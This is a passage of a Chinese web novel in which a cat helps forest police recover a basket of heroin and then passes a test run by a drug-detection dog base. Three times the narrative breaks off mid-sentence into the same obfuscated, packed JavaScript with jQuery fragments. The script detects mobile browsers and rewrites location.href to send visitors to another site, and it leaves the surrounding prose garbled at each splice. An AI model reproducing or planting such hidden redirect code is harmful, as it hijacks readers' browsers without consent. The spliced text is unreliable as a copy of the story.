阿五回头瞧了眼仍然很平静的边星遥,深呼了口气,继续往下一个地点而去。 刘志雄也刚找到此地,他瞧见边星遥和阿五,当场怔了怔。 “所长,我们跟丢吴成林的地方就在这附近,大家正在排查。” 边星遥点点头:“辛苦了。” 阿五翘着尾巴尖嗅来嗅去,钻进灌木丛往崖边而去,逐渐消失在边星遥和刘志雄的视线中。 密密麻麻的灌木丛,有半人到一人高,若是没留神踏空,就会直接坠入崖底。 边星遥扫过这片灌木,有些担心:“阿五,小心点,不要掉下去。” “喵~” 我知道,你先在外面待着。 然而边星遥听不懂猫语,他说完就往灌木丛中摸索着走去,查看吴成林是否将背篓藏在了这些灌木中。 刘志雄拉住边星遥:“所长,天要黑了,我去。” 边星遥挣开刘志雄的手:“啰嗦什么,你在外围看,我去里头看。” “喵呜~~” 灌木丛中忽地传来了阿五响亮的猫叫。 找到背篓啦! 24.第 24 章 黑暗张开巨口吞下了最后一丝余晖。 茫茫黑夜,无月也无星。 星子落在了断魂峰上。 这些一闪一闪的星,正往同一个方向汇聚。 阿五踩住挡视线的枝条,探头注视着趴在地上,伸手去够背篓的边星遥。 刘志雄蹲在灌木丛中,一手打着手电,一手拽着所长防止他摔下去。 边星遥的手触碰到了背带,他立时伸手牢牢抓住,小心翼翼地将整只背篓从柏树枝条上卸下,提了上去。 “拿到了。” 边星遥深深松了口气,他将背篓递给刘志雄:“给于队他们检查确认。” 不远处已传来了大家焦急而期待的呼喊声。 “好!”刘志雄惊喜地接过背篓,拔腿就往外走,拿着它的姿势简直像拿着个金娃娃。 边星遥拿起手电筒,稍稍下移,避免闪到阿五的眼睛:“好样的!阿五!谢谢你。” 阿五翘起小脑袋,将嘴里衔着的一朵小花给所长。 “咦?猫须草?”边星遥接过一瞧,又伸手拨开它脚下的植株。 其中有一些枝杈已被踩断,散乱地插在各处,部分花朵被碾进了泥里,一瞧这力道就不是阿五干的。 阿五垂下头:“喵呜?” 什么? 她只是闻到这个花上有吴成林的味道,特意给所长看。 阿五的脚下是一簇簇叶片上有绒绒细毛的草,草的尖端长着紫色的小花,小花像一层层的宝塔般耸立,花心还伸出了一条条细长的须。 倒也确实有点像她的胡子呢,阿五端详着,难怪叫猫须草。 吴成林的鞋子上,也有淡淡的猫须草味道。 “雁过有声,蛇过有路。”边星遥微微一笑,从兜里掏出块手帕,捡起几朵落在泥里的猫须草花,小心地放进手帕里裹好,放回兜里,这才起身走出了灌木丛,“阿五,走了。” “喵~” 来啦! 阿五应完,也学着边星遥的样子,挑了一朵还挺完整的花衔在嘴里。 边星澄应该还在所里,大约没见过这个花,带一朵回去给她瞧瞧。 阿五甫一钻出灌木丛,迎面差点被一道闪光灯闪花了眼。 舒瀚海颇为得意地拿着手里的胶片机,朝身边的警察们晃晃:“还好我兜里带着相机,等回去洗了,把我们阿五的英姿挂在墙上!” 阿五睁开眼,周围蹲着的全是所里的警察们。 他们面色喜悦,赞许地盯着她。 “厉害哦!阿五,没想到你能起这么大用!” 马自平的嘴简直咧到脑后:“啊呀啊呀,阿五肯定是平常看我和万里训练,也学了那么几招!” “吹吧你。”笑嘻嘻的马自平被捶了一拳。 “不过万里厉害,阿五也厉害,咱们所里的动物,都厉害!” “总之这说出去谁信啊,一只猫居然帮我们在这么大片的雨林里找到了赃物。” 阿五竖着耳朵,心怦怦跳着,有些飘忽,喜悦从她的大脑迸发而出,疲累一扫而空,浑身上下都充满了力量。 她简直还可以在山里找十个背篓! “咳咳。”边星遥的嘴角也翘得压不下去,“走了走了,老刘把背篓拿给于队了吧?我们也赶紧下去瞧瞧情况。” 舒瀚海收起相机:“对,赶紧赶紧。” 众人站起身,边星遥挥挥手道:“你们先走。” 他伸出手放在阿五下巴处:“阿五,花我给你拿着?你衔着不方便。” 阿五愉快地将花放在所长手心。 “我抱你下去,还是你自己走?” “喵呜~” 自己走~ 阿五翘着尾巴,小跑着跟在了警察们身后。 舒瀚海举着手电筒,走到边星遥身旁,纳闷地看着他手里的小花:“这什么?” “猫须草。”边星遥微笑着,边走边说,“像不像阿五的胡须?在吴成林藏背篓的地方发现的。” 舒瀚海惊奇:“这巧合。” 阿五还没赶到目的地,就已经听见了一道粗噶的大喊:“你们怎么找到的?你们怎么可能找得到!” “我…我就是挖点兰花卖!根本没带海/洛/因!” “你们看是不是,就是几株花嘛!” 小溪旁的空地被照得亮如白昼。 根部裹着泥土的兰花被一株株罗列好摆在了地上,缉毒队员正在一一检查,而于修明和段望正在检查背篓本身。 赶到的派出所警察们,都神色严肃地悄悄站在了一旁。 阿五站在边星遥身边,也认真地瞧。她在这个背篓里没有闻到罂粟的味道,也没闻到猪油味。 取而代之的,是一股酸溜溜的刺鼻味道,也许正是于队他们要找的东西。 沉默。 不少森林派出所的警察,都紧张地攥起了拳头,心中忐忑不安,难道真如吴成林所说,只是上山挖兰花? 咔擦—— 蓦地,于修明被背篓挡住的手一顿。 众人忍不住踮起了脚,看样子恨不得将脑袋伸进背篓里。 吴成林满脑袋都是汗,浑身上下簌簌地抖。 “找到了!” 段望双眼发亮地大喊。 此话一出,吴成林像只被掐住了脖子的鸡,一口气吸不上来,扑通一下瘫软在了地上。 但随后他就被两位缉毒队员扯了起来,面色通红,又随即转白。 现场所有人的眼光都集中在了于修明身上,连阿五都伸长了脖子。 只见于修明的手慢慢从背篓里抬起来,一块黑色塑料袋包裹的块状物出现在众人眼前。 “咔咔咔——” 一道道闪光灯亮起,晃花了阿五的眼。 这到底是个什么玩意? 阿五不满意地瞪着缉毒队员手里的黑盒子。 今天她都被闪两回啦! 于修明打开黑色塑料袋,露出了裹着淡黄色粉末的透明袋子,他探头闻了闻,又略略翻看了一下,胸有成竹:“没错,海/洛/因。” 段望又从背篓的夹层中掏出了七八块黑色块状物。 吴成林双目呆滞,又突地大幅挣扎起来:“不是我的!对!这不是我的背篓!” “我是无辜的。” 他声嘶力竭:“你们诬赖我!你们诬赖我!” 缉毒队员狠狠扯住了他的手铐:“闭嘴。” 阿五张嘴打了个哈欠。 怎么可能不是他的。 那只背篓全身上下,都是吴成林的味。 他就是欺负背篓不会说话。 于修明没有理吴成林,而是站起身,环视了一圈现场的警察们。 大家面色疲惫,嘴唇干裂,浑身草屑。 他突然弯下腰,郑重地朝在场的大家鞠了一躬。 阿五一愣。 众人也一愣。 于修明再抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298663|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起头后,面色威严地伸手一挥:“收队下山!” “是!” 喊声震飞了林中的鸟儿,也吓软了喃喃自语的吴成林。 山中的星子再次汇聚,蜿蜒成了一条小小的发光长龙,往山下的林湾村森林派出所而去。 “多谢了边所,还有小猫。”下山途中,于修明特意走在了边星遥身旁,眼神落在了前方的阿五身上,“我还以为你带着猫是胡闹,对不住。” 阿五闻言回头:“喵呜,喵嗷~” 不用谢。其实就算没有我,你们也能找到,老刘已经找到那一块啦。 刘志雄正在最前方给众人带路,舒瀚海在队伍中间,边星遥殿后。 “它说什么?”于修明诚恳地询问边星遥。 “……于队,我也不懂猫语的。”边星遥哭笑不得,“其实我也很惊喜,我本来就像你说的,只是死马当活马医而已。对了,她叫阿五。” “谦虚了边所。阿五?” 于修明沉吟片刻:“哎!我想起来了,这只猫我在医院见过的!那时候她还叫嗷呜,不叫阿五。” “那天我接到李所电话,说是一只猫把这个吸毒行凶的嫌疑人挠进了医院,生命垂危,就特意去医院瞧了眼情况。” 边星遥将面前长长的枝蔓压住,满脸自豪:“小心。确实是它,它那天救下了一个小姑娘,自己的爪子全都劈了,身上的毛都被揪掉了好多。” 于修明伸手挡住枝条:“对对对,就是它。哎呀边所,后续我们缉毒队万一用得着阿五,希望边所可以帮帮忙啊。你也晓得,现在缉毒犬多稀有。” “不是我不答应,要看阿五自己。”边星遥道,“而且我妹妹想领养它,已经打算带去春东了。” 于修明急了:“当家猫?太浪费了!” “你们派出所养不起,我们缉毒队可以养,保证伙食顶呱呱。” “……”边星遥赶忙止住话头,“下山再说吧于队,现在说话容易摔跤。” 阿五在前方默默听着,舒展身体跳过一块石头,眼中的担忧一闪而逝,她是一定要去春东的。 她的家人还在吊坠里,那行不认识的字,一直吊着她的心。 等她弄懂了那行字的意思,也许她会再次回到这里。 山下的派出所内灯火通明,院子里停了好几辆面包和吉普车。 阿五还没进门,就闻到了陌生人和陌生狗的气味。 那两只缉毒犬到了? 充满好奇心的阿五本想跟着边星遥去瞧瞧,然而实在口渴得厉害。 她将脑袋从边星遥的胳膊上抬起:“喵呜~” 我要喝水去啦。 边星遥听见声音垂下头,瞧阿五不断舔舐着干巴巴的鼻头,皱了皱眉,又伸手摸摸她的肚子,瘪瘪的。 他一踏进院门,就将阿五放在了地上,目送她跑向了宿舍的方向,这才转头对马自平招招手:“马自平,辛苦你帮阿五去弄点吃的,多谢了。” “好,我马上去。”马自平迅速跑走了,他晚上也还没来得及给万里喂食呢。 缉毒队员已进了院中,打算将瘫软的吴成林塞进面包车,然而他们路过那两辆吉普车时,都忍不住转过了头行以注目礼。 吉普车轮胎旁,蹲坐着两只半人高的犬,健壮矫健,目光锐利。一只浑身金毛,阔耳吐舌,另一只则是黑青色,立耳龇牙。 两只犬不约而同,都盯住了拿着背篓的段望,肌肉紧绷,蓄势待发。 25.第 25 章 段望提着背篓,笑嘻嘻地朝两只缉毒犬比了个大拇指,对一旁的训导员道:“他们两这是闻见味道了吧?一瞧就是专业的!” 牵着缉毒犬牵引绳的训导员还没来得及回话,于修明已大步流星地走到了段望身后,“啪,啪”地拍着他的背:“快去称称多重。” 舒瀚海主动上前:“我带你去拿秤。” 于修明收回视线,搓搓手,直奔两只缉毒犬身旁面色严肃的中年人去了:“耿主任,对不起,让你们白跑一趟了。” 耿主任个子不高,微胖,目光却炯炯有神,带着几分威严。 “没关系,找到就好。”耿主任收回敬礼的手,眼神往地上扫了扫,似乎在找东西。 于修明瞧了眼耿主任的神色,转头为边星遥介绍:“些乐缉毒犬基地的耿思远主任。” 边星遥走上前敬了个礼:“你好,耿主任。我是林湾村森林派出所的边星遥。” 耿思远盯住了边星遥:“你好,我刚才听说是所里的猫找到了毒品?” 边星遥礼貌点点头:“是的,但阿五现在去吃饭喝水了,要过一会才能来。” “不忙不忙,搜山很辛苦,让它吃饱再来。”耿思远点点头,忍不住又问,“边所平常会有意识地训练猫?对于训犬这一方面也有涉猎吗?” “没有的。”边星遥摇摇头,“阿五一直都是散养,平日里倒是很喜欢围观万里的训练。万里是我们派出所的警犬。” 耿思远有些失望,但随即又很诧异:“没有训练过,怎么能在山中寻到毒品呢?” 边星遥自然而然道:“天赋,阿五特别聪明,好奇心强,自尊心也很强。而且性格很敏感,对于身边人的情绪,它总是能够第一时间察觉。” 旁听的于修明有些惊奇了:“听上去不太像个猫。” 耿思远接受良好:“犬只里常常会出这样的犬的,特别是军警用犬,通常都是又聪明,好奇心又强。虽然对于猫我没有研究,但应该也差不多,只是猫的服从性很差,基本没有训练的可能。” 边星遥想了想,继续道:“它之前见过我们抓非法种植罂粟的嫌疑人,今天去村里的时候,主动找出了农户家里私种的罂粟。” “它只是见过你们抓人,就知道种罂粟不对了?你们没有给过什么奖励进行引导吗?”耿思远皱眉。 边星遥一怔,有些自责。是啊,阿五做了这么多,他居然都没有特意奖励过它什么,他张张口:“完全没有。” 这有点违背动物本性吧,耿思远和他身后的两个训导员同时陷入了沉思。 耿思远在原地踱了几步,挑挑眉,对于这只叫阿五的小猫,更加好奇了。 宿舍楼。 边星澄正在门口左右徘徊,神色焦虑。林天月被向晓挽着手臂,也神思不属地想着事。 一道小小身影从远方飞奔而来,边星澄定睛细看,惊喜道:“阿五?” 林天月和向晓同时抬头。 “喵!” 是我! 阿五擦过边星澄的裙角,绕过林天月和向晓,冲进了宿舍楼。她直奔边星遥的房间,熟练地从门缝中钻进去,埋头于床角的水碗。 渴死猫啦! 边星澄本想跟着阿五进去,然而紧随其后跑来的马自平停下了:“哎?阿姨你们还在啊,等所长吗,他还有点事过不来呢。” 向晓急忙发问:“大家都安全回来了吗?” 林天月攥紧了向晓的手。 马自平喜气洋洋:“都安全回来了,最多就是点擦伤,小事。” 林天月提住的那口气慢慢呼了出来。 向晓轻轻拍拍林天月的手以示安抚,笑眯眯道:“辛苦了!你们晚饭都还没吃呢,我现在给你们去热热?还是等一会再吃?” “暂时不用,我得先去给阿五和万里做饭。特别是阿五,忙了一天都饿坏了,它今天可是大功臣!” 边星澄的心陡然一跳。 向晓虽然好奇,但也不再多问:“那我来帮你。” “不用不用,你们不是打算今天走吗?这会都晚上了,要开夜车可不轻松。”马自平推拒。 “没关系的,阿五快点吃上饭,我们也好早点带阿五回春东。” 走了两步的马自平闻言挠挠头,还是没忍住:“你们真要把阿五带走做家猫吗?阿五很厉害,我觉得它应该留下来,做一些更有意义的事。” 边星澄脸色苍白。 林天月迟疑:“这样吗?” 边星澄攥紧双手,语气艰涩:“带走也不一定是做家猫,我…我只是想让它尝试一些别的生活方式。” 向晓瞧了眼边星澄的神情,正色道:“是啊,如果它不适应,我也是警察,我可以向上级打报告,带阿五去我所在的派出所。” 边星澄心中一震,连忙垂下脸,以掩饰自己慌乱的神情。 “也…也行?”马自平想了想,转身去了厨房。事已至此,他还是先做饭吧。 向晓正想跟上去,阿五却勾着尾巴尖溜溜达达地走了出来,她已经喝饱了水,打算去瞧瞧缉毒犬。 她走到边星澄身旁,嗅嗅,星澄怎么又是一股涩水果的味道?谁欺负她了? 向晓脚步一转,来到了阿五面前,礼貌地伸出一只手:“你好阿五,我是星澄的朋友向晓,第一次见面。等你到了春东,我们就是邻居啦。” 阿五嗅嗅她的手:“喵呜~” 你好~ 这个女孩子的味道,很像所长呢,阿五想,闻起来很阳光,也很茂盛。大太阳的时候走在下面,就会觉得很凉爽,下大雨的时候,也会尽量舒展枝条,为你挡雨。 “哎哎哎?阿五?”留守在所里的小乔警察不知道从哪冒了出来,兴奋地和阿五打招呼。 “喵?” 阿五回过神,歪歪头。 “早知道我也上山了,太可惜了!”小乔悔得捶胸顿足,他怎么就没参与进这件大事里呢,随即他又长吁短叹地道,“哎,阿五以后肯定没法留在我们这小小的派出所里了。” 这下子向晓彻底忍不住了:“怎么说?” 小乔神神秘秘:“我瞧缉毒队和警犬基地的人,都争着想要阿五呢。” 阿五听了这话,拍拍闻起来更涩了的边星澄:“喵嗷,喵嗷。” 别怕,我跟着你们回春东,才不去那两个地方呢。 边星澄默默蹲下身,将阿五抱进了怀里:“警犬基地的人在这?” 小乔警察大发感慨:“在啊,你们是没瞧见那两只缉毒犬,太帅了!” 边星澄的脸色变幻莫测。 她忽然抱着阿五进了宿舍楼:“妈妈,晓晓,我突然想起来有东西落在星遥哥的房间了,我去拿。” 向晓眼睛里闪过一丝担忧,随即又将林天月拉住,对小乔道:“我们先去厨房了,给大家热饭,待会他们忙完就能吃上。” 小乔点点头:“辛苦了,哎呀,我也还有事呢,走了走了。” “拜拜~”向晓笑眯眯地道别,“林姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304287|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们去厨房帮忙吧。” 林天月皱着眉:“星澄这孩子,最近这段日子怎么越来越古怪了。” “大约是刚毕业不适应,林姨别担心,回春东就好啦。” 向晓故作轻松地说完,垂下了眸子。两个月前星澄就突然打电话说有事要告诉她,结果又半天不出声。这次一见,星澄真的很怪,等回了春东,她一定得好好问问。 边星遥房间,阿五蹲坐在桌面上,疑惑地瞧着一进来就不说话发怔的边星澄:“喵呜?” 怎么了? 边星澄坐在凳子上,忽然开口:“阿五你愿意跟着我去春东吗?即使一生平凡,但起码能好好活着。” “喵呜~” 愿意呀。 阿五下意识点点脑袋。 边星澄的眼神落在了阿五的吊坠上,表情变得古怪:“你是因为想弄清吊坠上那行字的意思,才愿意和我去春东的吧?” 阿五愣了,她抬爪摸摸吊坠,眼睛瞪得溜圆,盯着边星澄的样子,好像见到了鬼。 边星澄继续道:“但你弄清楚了这行字的意思,你就不会愿意过平凡的一生了,这是矛盾的。” “喵呜?” 什么意思?阿五糊涂了。 “碎裂倒计时,31天。” 阿五喃喃重复着,转头就去了镜子前。 天,1,3,对上了! 但和之前的数字不一样。 碎裂倒计时,什么意思? 不等阿五问,边星澄已经补充道:“还有31天,你的吊坠就会碎掉。之前是30天,倒计时增加的原因,我猜测是因为你做了好事。比如抓到了贼,找到了毒品。” 碎掉?碎掉?! 贼? 阿五瞳孔地震。 捉贼那天边星澄种种奇怪的举动从阿五的脑海里一一闪过。 她明明记得边星澄房间里是有镜子的,可当天却没找到。 难怪那一天边星澄拘着她,不让她离开。即便不得不来了派出所,也不让她回所长的房间。 原来是怕她瞧见了吊坠上的字。 边星澄打量着吊坠,疑惑问道:“你是因为这个吊坠可以实现人的愿望,才这么宝贝它吗?还是有其他原因?” 实现愿望? 边星澄怎么知道的? 太多问题一下子涌入了阿五的脑袋,让她有些缓不过神来。 “可是你去当警猫,也许……” 阿五等了等,没等到下半句话。 边星澄的态度又变得很怪:“你也听不见吗?” 阿五简直有点惊悚了,她立刻退到了书桌的角落,防备地盯着边星澄。 边星澄瞧着炸毛的阿五深深叹了口气:“瞒了你这么久,对不起。” 阿五扭头就走,没有再看边星澄一眼,从打开的窗户中跳了出去。 夜风温柔,可阿五心乱如麻。 其他的都可以等等再说,现在最要紧的,是保护吊坠,不让它碎掉。 阿五撒开四爪,目光转瞬间变得坚定,奔向了边星遥所在的院子。 她必须要想办法增加倒计时,阿耶阿娘他们,还在坠子里! 风吹动了窗帘,边星澄还枯坐在窗前。 她想起了当初拿到玉坠后,所许下的愿望。 我愿意用余生所有,换得一切从头开始。 一道机械音凭空响起。 “叮——接受许愿者剩余70年寿命、运气……许愿成功。” 26.第 26 章 办公楼前灯火通明,汽油味、橡胶味、人味和狗味蜂拥而至,包裹住了阿五的鼻尖。 阿五的目光在其中扫了扫,就看见了边星遥颀长的背影,他正和人聊着天。 那两只缉毒犬早已发现了阿五,眼神几乎同时凝注在了阿五身上。 与他们视线相接的那刻,阿五就停住了,她默默站在原地观察。 片刻后金毛犬抬头瞧了眼训导员,见他专注于身前人的对话,就移开视线坐着不再动了。 而黑背犬一直歪着头,好奇地瞅着阿五。 耿思远和两位训导员发现了自家犬的异常。 阿五见大狗似乎没什么敌意,就勾勾尾巴尖,继续走。 耿思远不经意往外挪了一步,往远处一瞧,一只小臂长的花斑猫正往他们这来,看样子是来找边所的。 他眼睛一转,朝训导员潘祥使了个眼色。 潘祥心领神会,等花斑猫快走到边所脚边时,将手里大王的绳子略微一松:“大王,叫。” 那黑背德牧犬得了主人的指令,往前一扑:“汪!” 响响亮亮的一嗓子,吓得在场不少人一激灵。 阿五尾巴“唰”地绷直,脚步一顿,就瞧见一只黑乎乎的大鼻子急速而来,一排尖利的犬齿直扑自己面门,但又立时顿住,随后一股肉味随着大犬“呼哧、呼哧”的呼吸,扑了她满脑门。 一时间所有眼神都落在了阿五身上。 “……” 阿五实在忍不住,抬爪洗了把脸。 这味道也太大了。 “呜?”大王没吓唬成,歪歪脑袋,往前一步,低头闻了闻小猫尾巴。 训导员潘祥赶忙扯了牵引绳,将大王拉回身旁。他怕小猫暴起给大王一爪,然后被大王咬伤,那可没办法和边所交代:“大王,坐。” 大王甩甩尾巴,咧着嘴老老实实坐了回去。 它身旁的金毛犬贝莉纹丝不动。 耿思远眼里划过一抹赞赏:“咳,这就是阿五啊?” 于修明就在旁边听段望汇报,瞧见这来去始末,挑了挑眉。这猫情绪还真稳定,他随即狠狠瞪了眼被吓一跳的段望。 段望:“……” 边星遥自然也明白了情况,蹲下身安抚着摸了摸阿五:“是的,耿主任对自家的犬很信任啊?” “那当然,我们相信犬,犬也信任我们。”耿思远笑笑,也蹲下了,“边所,一线缉毒犬非常稀缺,但那也是因为我们要求够高。” 他伸了只手给阿五。 阿五动动鼻子,记住了这位叫耿主任的味道。 缺缉毒犬?那应该就意味着她能帮助人类做的事更多,阿五心中一动,她现在最担忧的就是没活干。 刚才走来的一路,她仔细思考过了,捉贼、帮助指导员找到罂粟田、寻到毒品,都会让倒计时产生变化。 可来了派出所两个多月,她也就只干成了这些事,那肯定不够。 “阿五,你想去警犬基地吗?”边星遥正色,握住了阿五的两只前爪,“这很累,而且很苦,要不间断地接受训练,还需要面对穷凶极恶的罪犯,就像梅文一样。” 耿思远蹲在一边,自然不觉得阿五能听懂这么复杂的话,只认为边星遥是在说服自己。 毕竟边所和阿五相处了这么久,肯定是有感情的。耿思远能看出来边星遥是一个很重感情的人,像他这样的,不是简简单单地喊一句为人类做贡献,就能随随便便将伙伴交予他们。 于是耿思远也很郑重地和边星遥承诺:“如果阿五能通过初步的考核,我会带它回基地接受训练。它的身体健康、安全,我们基地都会负责,保证和其他的犬只待遇一样。” “即使回了基地,它的最终表现不合格,我淘汰它也必定会告知边所。” 他对阿五的确是见猎心喜,可是猫和犬的不同,是客观存在的。就算是基地从小训练的犬,淘汰率也超过了80%,耿思远无法保证阿五能不被淘汰。 “喵~” 阿五轻轻挣脱了边星遥的手,回到了地上,向耿思远走了一步。 当初保护秀秀时,她就没怕过。 现在是为了家人,她更是什么也不怕。 边星遥面色复杂,又是心疼,又是自豪,还有点惊讶:“耿主任,那试试吧。” 耿思远笑了,他站起身:“好。” 他拉过潘祥,低声叮嘱了几句。 潘祥将手里大王的牵引绳交给另一位训导员程建树,主动找了舒瀚海,请他帮忙。 森林派出所的警察们,缉毒队员们,能分散注意力的,基本全都转过头注视着阿五。 连跑来喊大家伙吃饭的马自平、向晓都停住了。 边星澄站在树下,远远地瞧着。 过了一会,潘祥和舒瀚海一手提了好几个盒子、箱子出来。 于修明突然道:“耿主任,这考验也太简单了吧。难道你们平常设卡缉毒的时候,车上就这么几个一眼就能看到底的盒子?” 不少缉毒队员都连连点头。 “只是初步考核。”耿思远四平八稳,“我只要能确定阿五有找到毒品,值得我花心思去培训的能力就可以。” “那阿五在断魂峰找到的这803.2克海/洛/因,就足够证明了。”于修明已从段望那里,得知毒品的具体重量,“要我说,不如抽两个人,身上带点毒品,让阿五在我们这群人中,把毒品找出来。” “对呀耿主任,现在人体□□的例子可不少啊。” 舒瀚海停住了手里的活,担忧地瞧着阿五和边星遥,阿五可根本没受过训练啊。 潘祥倒是万事不管,干脆利落地将东西在空地上摆了一排:“主任,可以了。” 耿思远道:“于队想试试,我也不反对,你可以带着人去藏了。” “边所,你呢?”于修明转向边星遥。 边星遥更没顾虑,只是担心阿五的自尊心受挫,但他一低头,就瞧见阿五一双翠绿的眼睛充满期待地看着他,就也道:“没意见。” “行!”于修明点了在场的五个人,兴奋地转身就走。 耿思远道:“边所,下指令吧,可以搜了。” 边星遥低头,指着那一排盒子箱子:“阿五,搜。” 阿五蹿了过去,这么会工夫,她早就闻出来那酸溜溜的毒品藏哪了。 她直奔一只红色鞋盒,用爪子拍了拍:“喵呜。” 在这呢。 边星遥走过去翻开鞋盒,里头赫然放着块刚在山上搜到的毒品。 耿思远表情淡淡地道:“好。” 可他心中却稍有点吃惊,居然真能听明白指令? 边所说阿五没受过训练,应该只是他忙,没看见而已。这派出所内的训导员在训犬时,定然也教过阿五。 看热闹的马自平忍不住打了个喷嚏。 此时于修明带着人从吉普车后走了出来,都没往地上瞟一眼:“好了,来吧。” 呼啦一下,他身后的五人就开始在院子里乱走。 边星遥一愣。 两位训导员都是一怔。 在移动的人中寻找毒品这个技能,是要循序渐进地训练才能达到的。先从一个静止的人身上开始训练,过渡到多人,其次再从单人走动到多人走动。 这只猫一上来,就要直接面对这么高难度的挑战吗? 他们二人不约而同地盯紧了原地不动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309197|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿五。 迟迟不动,它这是没思路了? 耿思远却在想:“还得给阿五做一条专门的牵引绳,犬的太大了,它戴不了。要是真能训出来,到时候车内搜索会更方便,毕竟体型小。还有一些车辆的底盘之类的,矮个有优势。” 边星遥蹲下身,挨个指了指那五个人:“阿五,在这些人里找出身上藏着毒品的。我跟着你,不要害怕。” 阿五闻言:“喵~” 别担心。 院子的灯光照射下,五个人拖着黑乎乎的影子,混乱地在场地上闲逛,味道也乱糟糟地交融在一块。 她从这五个人身上,都闻到了毒品的味道。 阿五快走几步,跟在一个人身后嗅了嗅。 远处的马自平瞧着只比人脚踝高的阿五,又对比了下旁边能到人膝盖处的两只大犬,有些揪心地嘀咕:“这不欺负猫吗!” 向晓瞧着一脸信任的边星遥,脆声道:“我相信阿五一定行!” “喵!” 现场突然传来了一声响亮猫叫。 向晓握紧拳头,往前走了两步:“找到了?” 只见场地边缘,阿五跟在一位头发似鸡窝的缉毒队员身边,大声叫着。 边星遥见状,抬手去拍依然在走的缉毒队员肩膀:“你……” 忽然这队员一闪身,躲过边星遥的手,随即揉身向前,对着边星遥的脸就是一拳。 边星遥抬手架住。 “星遥!” “所长!” 派出所的警察们惊呼,不解地盯着老神在在的于修明。 两位训导员也是一惊:“主任?这?” 耿思远没说话,紧紧注视着阿五的动作。 阿五扒住边星遥的裤腿,刺溜几下就上了肩,对着那队员的脑袋扑去。 “阿五?”边星遥急忙拉住队员伸向阿五的手,“我们闹着玩的。” “喵!” 毒品在他头发里! 阿五跳上了队员的头。 队员脑袋控制不住的一歪,立刻被阿五扯住了头发。 队员头皮一痛:“嘶,边所?” “哦哦哦,对不起啊。” 边星遥赶忙放开对方的两只手,将阿五抱了下去。 阿五没反抗,一直盯着队员的头发看。 队员揉揉被边所大力攥疼的手腕,从头发里将一包小而扁的毒品拿了出来,抱怨道:“你们这都出的什么馊主意,差点被拽秃了,一包烟可不能少我的!” 段望忍着笑走过来:“齐松,辛苦了,放心!” 齐松眯着眼,懒洋洋地挠挠头,又对边星遥道:“对不住啊边所,你拍我肩,下意识就打你了。” “喵呜~” 对不起,抓疼你了。 边星遥摆摆手:“没关系,该是我说对不起。” 齐松抬手轻轻地捏住了阿五的爪垫,几根尖尖的利爪冒出:“啧,挺厉害啊。” “出乎我意料,阿五很优秀。”耿思远满眼含笑地走上前来,“边所,再确认下,能割爱的吧?” “喵呜~” 阿五将爪子从齐松手里抽回来,眼前一亮,她通过考验了吗? 边星遥道:“耿主任,冒昧问下你们接下来的打算是?” 耿思远道:“我们暂时还不打算回基地,阿五可以先跟着我们出任务,还是边所你有别的想法?” 边星遥沉吟了一会,低头不舍地瞧着阿五,良久后才道:“就让阿五跟着你们走吧,早点适应任务,对它也是个好事。” 耿思远从边星遥手里接过阿五,正色行了个礼:“谢谢你边所。” 边星遥站直,还礼:“拜托了。” 27.第 27 章 耿思远带着阿五与森林派出所众位警察告别后,连夜前往下一个目的地。 于修明早已带队离开,他们要抓紧时间赶回去,处理这起贩毒案的后续关节。 车灯闪烁间,站在派出所门口送别的边星遥和舒瀚海等人,渐渐隐没在了烟尘里。 阿五扒住车窗框,探出脑袋,脖颈间的毛线小袋子装着吊坠,随着颠簸的车辆微微摆动。 直到派出所彻底消失在了后视镜中,耿思远才将阿五抱了回来,将车窗摇上。 阿五低落地垂着脑袋,抬爪摸了摸吊坠袋子,也不知这是用什么线织的,触感柔软特别。 “想不到边所还会织毛线。”耿思远含笑瞧了眼那黑红色的袋子,轻轻抚摸着阿五的毛,感慨道,“也想不到我们这一趟来,还带了只会缉毒的猫回去。” 潘祥笑着:“也算是奇遇了,回基地之后肯定吓大家一跳。”他瞥了眼车内后视镜,见大王乖乖趴在后座,才将目光重新落回前方。 金毛犬贝莉和她的训导员程建树则在另一辆车里。 本来耿思远还想带着阿五坐贝莉那辆车,相比大王,贝莉年纪较长,情绪更稳定。没想到贝莉一见阿五上车,就“呜呜”地站起来警告威胁,反而大王对阿五的态度更友好。 耿思远想到这,倒是有些忧愁了。 基地目前有三十余条犬,把阿五直接安置在基地里,肯定是不太合适的,不过这去处倒也不算大问题,最重要的是该把阿五分配给哪位训导员呢?阿五的天赋可不能浪费了。 耿思远思索片刻:“潘祥,既然大王可以接纳阿五,不如后续你先试着做阿五的训导员怎么样?” “啊?”潘祥愣了,瞧了眼后排的大王,面露难色。 